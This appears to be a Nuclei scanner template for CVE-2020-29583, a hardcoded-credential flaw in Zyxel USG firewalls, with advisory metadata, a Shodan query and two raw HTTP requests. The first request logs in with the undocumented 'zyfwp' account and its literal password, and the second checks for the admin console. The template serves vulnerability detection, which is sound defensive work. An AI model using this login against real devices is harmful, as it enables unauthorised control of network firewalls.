ZyXel USG - Hardcoded Credentials

id: CVE-2020-29583

info:
  name: ZyXel USG - Hardcoded Credentials
  author: canberbamber
  severity: critical
  description: |
    A hardcoded credential vulnerability was identified in the 'zyfwp' user account in some Zyxel firewalls and AP controllers. The account was designed to deliver automatic firmware updates to connected access points through FTP.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to the affected device, potentially leading to further compromise of the network.
  remediation: |
    Update the firmware of the ZyXel USG device to the latest version, which addresses the hardcoded credentials issue.
  reference:
    - https://www.zyxel.com/support/CVE-2020-29583.shtml
    - https://support.zyxel.eu/hc/en-us/articles/360018524720-Zyxel-security-advisory-for-hardcoded-credential-vulnerability-CVE-2020-29583
    - https://nvd.nist.gov/vuln/detail/CVE-2020-29583
    - https://www.eyecontrol.nl/blog/undocumented-user-account-in-zyxel-products.html
    - http://ftp.zyxel.com/USG40/firmware/USG40_4.60(AALA.1)C0_2.pdf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-29583
    cwe-id: CWE-522
    epss-score: 0.96219
    epss-percentile: 0.99483
    cpe: cpe:2.3:o:zyxel:usg20-vpn_firmware:4.60:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: zyxel
    product: usg20-vpn_firmware
    shodan-query: title:"USG FLEX 100"
  tags: cve,cve2020,ftp-backdoor,zyxel,bypass,kev

http:
  - raw:
      - |
        GET /?username=zyfwp&password=PrOw!aN_fXp HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /ext-js/index.html HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - 'data-qtip="Web Console'
          - 'CLI'
          - 'Configuration"></a>'
        condition: and

      - type: status
        status:
          - 200
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